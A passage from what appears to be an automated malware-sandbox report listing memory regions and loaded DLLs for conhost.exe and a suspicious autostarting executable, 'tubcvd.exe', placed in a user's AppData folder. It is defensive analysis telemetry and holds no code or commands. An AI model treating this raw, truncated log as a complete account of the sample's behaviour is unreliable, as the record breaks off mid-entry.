id = 44 os_tid = 0xe50 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5ef2000" os_pid = "0xdec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdf0" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013d92" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 524 start_va = 0x7fdd9000 end_va = 0x7fdd9fff entry_point = 0x0 region_type = private name = "private_0x000000007fdd9000" filename = "" Region: id = 525 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 526 start_va = 0x634efb0000 end_va = 0x634efcffff entry_point = 0x0 region_type = private name = "private_0x000000634efb0000" filename = "" Region: id = 527 start_va = 0x634efd0000 end_va = 0x634efe3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634efd0000" filename = "" Region: id = 528 start_va = 0x634eff0000 end_va = 0x634f02ffff entry_point = 0x0 region_type = private name = "private_0x000000634eff0000" filename = "" Region: id = 529 start_va = 0x7df5ff4c0000 end_va = 0x7ff5ff4bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff4c0000" filename = "" Region: id = 530 start_va = 0x7ff79d4f0000 end_va = 0x7ff79d512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff79d4f0000" filename = "" Region: id = 531 start_va = 0x7ff79d516000 end_va = 0x7ff79d516fff entry_point = 0x0 region_type = private name = "private_0x00007ff79d516000" filename = "" Region: id = 532 start_va = 0x7ff79d51e000 end_va = 0x7ff79d51ffff entry_point = 0x0 region_type = private name = "private_0x00007ff79d51e000" filename = "" Region: id = 533 start_va = 0x7ff79e220000 end_va = 0x7ff79e230fff entry_point = 0x7ff79e220000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 534 start_va = 0x7ffb3d310000 end_va = 0x7ffb3d4d1fff entry_point = 0x7ffb3d310000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 535 start_va = 0x634f100000 end_va = 0x634f1fffff entry_point = 0x0 region_type = private name = "private_0x000000634f100000" filename = "" Region: id = 536 start_va = 0x7ffb3a800000 end_va = 0x7ffb3a9dcfff entry_point = 0x7ffb3a800000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 537 start_va = 0x7ffb3d260000 end_va = 0x7ffb3d30cfff entry_point = 0x7ffb3d260000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 538 start_va = 0x634efb0000 end_va = 0x634efbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634efb0000" filename = "" Region: id = 539 start_va = 0x634f030000 end_va = 0x634f0edfff entry_point = 0x634f030000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 540 start_va = 0x634f200000 end_va = 0x634f23ffff entry_point = 0x0 region_type = private name = "private_0x000000634f200000" filename = "" Region: id = 541 start_va = 0x7ff79d3f0000 end_va = 0x7ff79d4effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff79d3f0000" filename = "" Region: id = 542 start_va = 0x7ff79d51c000 end_va = 0x7ff79d51dfff entry_point = 0x0 region_type = private name = "private_0x00007ff79d51c000" filename = "" Region: id = 543 start_va = 0x7ffb3cf10000 end_va = 0x7ffb3cfacfff entry_point = 0x7ffb3cf10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 544 start_va = 0x634efc0000 end_va = 0x634efc6fff entry_point = 0x0 region_type = private name = "private_0x000000634efc0000" filename = "" Region: id = 545 start_va = 0x634f0f0000 end_va = 0x634f0f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634f0f0000" filename = "" Region: id = 546 start_va = 0x634f240000 end_va = 0x634f246fff entry_point = 0x0 region_type = private name = "private_0x000000634f240000" filename = "" Region: id = 547 start_va = 0x634f2f0000 end_va = 0x634f2fffff entry_point = 0x0 region_type = private name = "private_0x000000634f2f0000" filename = "" Region: id = 548 start_va = 0x7ffb2dcd0000 end_va = 0x7ffb2dd22fff entry_point = 0x7ffb2dcd0000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 549 start_va = 0x7ffb36950000 end_va = 0x7ffb36ad2fff entry_point = 0x7ffb36950000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 550 start_va = 0x7ffb3bf80000 end_va = 0x7ffb3c0a5fff entry_point = 0x7ffb3bf80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 551 start_va = 0x7ffb3c290000 end_va = 0x7ffb3c2c5fff entry_point = 0x7ffb3c290000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 552 start_va = 0x7ffb3c3e0000 end_va = 0x7ffb3c564fff entry_point = 0x7ffb3c3e0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 553 start_va = 0x7ffb3c650000 end_va = 0x7ffb3c79dfff entry_point = 0x7ffb3c650000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 554 start_va = 0x7ffb3c950000 end_va = 0x7ffb3c9aafff entry_point = 0x7ffb3c950000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 555 start_va = 0x7ffb3c9b0000 end_va = 0x7ffb3ca6dfff entry_point = 0x7ffb3c9b0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 556 start_va = 0x7ffb3cb20000 end_va = 0x7ffb3cc60fff entry_point = 0x7ffb3cb20000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 557 start_va = 0x7ffb3cc70000 end_va = 0x7ffb3ceebfff entry_point = 0x7ffb3cc70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 558 start_va = 0x7ffb3d020000 end_va = 0x7ffb3d17bfff entry_point = 0x7ffb3d020000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 559 start_va = 0x634f250000 end_va = 0x634f250fff entry_point = 0x0 region_type = private name = "private_0x000000634f250000" filename = "" Region: id = 560 start_va = 0x634f260000 end_va = 0x634f260fff entry_point = 0x0 region_type = private name = "private_0x000000634f260000" filename = "" Region: id = 561 start_va = 0x634f270000 end_va = 0x634f2affff entry_point = 0x0 region_type = private name = "private_0x000000634f270000" filename = "" Region: id = 562 start_va = 0x634f300000 end_va = 0x634f487fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634f300000" filename = "" Region: id = 563 start_va = 0x634f490000 end_va = 0x634f610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634f490000" filename = "" Region: id = 564 start_va = 0x634f620000 end_va = 0x6350a1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634f620000" filename = "" Region: id = 565 start_va = 0x6350be0000 end_va = 0x6350beffff entry_point = 0x0 region_type = private name = "private_0x0000006350be0000" filename = "" Region: id = 566 start_va = 0x7ff79d51a000 end_va = 0x7ff79d51bfff entry_point = 0x0 region_type = private name = "private_0x00007ff79d51a000" filename = "" Region: id = 567 start_va = 0x7ffb39d60000 end_va = 0x7ffb39d6efff entry_point = 0x7ffb39d60000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 568 start_va = 0x7ffb39d70000 end_va = 0x7ffb39d82fff entry_point = 0x7ffb39d70000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 569 start_va = 0x7ffb39d90000 end_va = 0x7ffb39dd9fff entry_point = 0x7ffb39d90000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 570 start_va = 0x7ffb39de0000 end_va = 0x7ffb3a407fff entry_point = 0x7ffb39de0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 571 start_va = 0x7ffb3a570000 end_va = 0x7ffb3a622fff entry_point = 0x7ffb3a570000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 572 start_va = 0x7ffb3a9f0000 end_va = 0x7ffb3aa40fff entry_point = 0x7ffb3a9f0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 573 start_va = 0x7ffb3aa50000 end_va = 0x7ffb3bf74fff entry_point = 0x7ffb3aa50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 574 start_va = 0x7ffb3c2d0000 end_va = 0x7ffb3c375fff entry_point = 0x7ffb3c2d0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 575 start_va = 0x7ffb38610000 end_va = 0x7ffb386a5fff entry_point = 0x7ffb38610000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 576 start_va = 0x634eff0000 end_va = 0x634f02ffff entry_point = 0x0 region_type = private name = "private_0x000000634eff0000" filename = "" Region: id = 577 start_va = 0x634f2b0000 end_va = 0x634f2b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000634f2b0000" filename = "" Region: id = 578 start_va = 0x6350a20000 end_va = 0x6350b35fff entry_point = 0x0 region_type = private name = "private_0x0000006350a20000" filename = "" Region: id = 579 start_va = 0x6350b60000 end_va = 0x6350b6ffff entry_point = 0x0 region_type = private name = "private_0x0000006350b60000" filename = "" Region: id = 580 start_va = 0x6350bf0000 end_va = 0x6350f26fff entry_point = 0x6350bf0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 581 start_va = 0x6350f30000 end_va = 0x6351146fff entry_point = 0x0 region_type = private name = "private_0x0000006350f30000" filename = "" Region: id = 582 start_va = 0x6351150000 end_va = 0x635136dfff entry_point = 0x0 region_type = private name = "private_0x0000006351150000" filename = "" Region: id = 583 start_va = 0x6351370000 end_va = 0x6351580fff entry_point = 0x0 region_type = private name = "private_0x0000006351370000" filename = "" Region: id = 584 start_va = 0x6351590000 end_va = 0x63516a6fff entry_point = 0x0 region_type = private name = "private_0x0000006351590000" filename = "" Region: id = 585 start_va = 0x63516b0000 end_va = 0x6351767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000063516b0000" filename = "" Region: id = 586 start_va = 0x7ff79d51e000 end_va = 0x7ff79d51ffff entry_point = 0x0 region_type = private name = "private_0x00007ff79d51e000" filename = "" Region: id = 587 start_va = 0x7ffb37f40000 end_va = 0x7ffb37f61fff entry_point = 0x7ffb37f40000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 588 start_va = 0x7ffb37a60000 end_va = 0x7ffb37a72fff entry_point = 0x7ffb37a60000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 589 start_va = 0x7ffb391c0000 end_va = 0x7ffb39217fff entry_point = 0x7ffb391c0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 590 start_va = 0x634f2c0000 end_va = 0x634f2c6fff entry_point = 0x0 region_type = private name = "private_0x000000634f2c0000" filename = "" Region: id = 591 start_va = 0x634f2d0000 end_va = 0x634f2d4fff entry_point = 0x634f2d0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 592 start_va = 0x634f2e0000 end_va = 0x634f2e0fff entry_point = 0x634f2e0000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 593 start_va = 0x6350b40000 end_va = 0x6350b41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006350b40000" filename = "" Region: id = 594 start_va = 0x7ffb34cc0000 end_va = 0x7ffb34f33fff entry_point = 0x7ffb34cc0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Thread: id = 40 os_tid = 0xdcc Thread: id = 41 os_tid = 0xdd0 Thread: id = 42 os_tid = 0xe18 Thread: id = 43 os_tid = 0xe40 Process: id = "4" image_name = "tubcvd.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe" page_root = "0x1642e000" os_pid = "0x79c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2380 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2381 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2382 start_va = 0x40000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2383 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2384 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2385 start_va = 0x400000 end_va = 0x426fff entry_point = 0x400000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 2386 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2387 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 2388 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 2389 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 2390 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 2391 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2392 start_va = 0x7fff0000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2393 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2394 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 2533 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2534 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2535 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2536 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2537 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2538 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2539 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2540 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2541 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2542 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2543 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2544 start_va = 0x430000 end_va = 0x4edfff entry_point = 0x430000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2545 start_va = 0x74460000 end_va = 0x744f0fff entry_point = 0x74460000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2546 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 2547 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2548 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2549 start_va = 0x4f0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2550 start_va = 0x74450000 end_va = 0x74455fff entry_point = 0x74450000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 2551 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2552 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2553 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2554 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2555 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2556 start_va = 0x74c90000 end_va = 0x74d0afff entry_point = 0x74c90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2557 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2558 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2559 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2560 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 2561 start_va = 0x5f0000 end_va = 0x777fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2562 start_va = 0x880000 end_va = 0x88ffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 2563 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2564 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2565 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2566 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2567 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 2568 start_va = 0x890000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2569 start_va = 0xa20000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 2570 start_va = 0x230000 end_va = 0x241fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2571 start_va = 0x75c90000 end_va = 0x7704efff entry_point = 0x75c90000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2572 start_va = 0x757b0000 end_va = 0x75c8cfff entry_point = 0x757b0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 2573 start_va = 0x749e0000 end_va = 0x74b99fff entry_point = 0x749e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2574 start_va = 0x75100000 end_va = 0x75143fff entry_point = 0x75100000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2575 start_va = 0x75650000 end_va = 0x7565bfff entry_point = 0x75650000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 2576 start_va = 0x75260000 end_va = 0x752ecfff entry_point = 0x75260000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2577 start_va = 0x74ef0000 end_va = 0x74f33fff entry_point = 0x74ef0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 2578 start_va = 0x77230000 end_va = 0x7723efff entry_point = 0x77230000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2579 start_va = 0x74d10000 end_va = 0x74e84fff entry_point = 0x74d10000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2580 start_va = 0x751f0000 end_va = 0x751fdfff entry_point = 0x751f0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2581 start_va = 0x74220000 end_va = 0x74443fff entry_point = 0x74220000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2582 start_va = 0x74160000 end_va = 0x7421efff entry_point = 0x74160000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 2583 start_va = 0x1e20000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2584 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2585 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2586 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2587 start_va = 0x1e20000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2588 start_va = 0x1fd0000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2589 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = 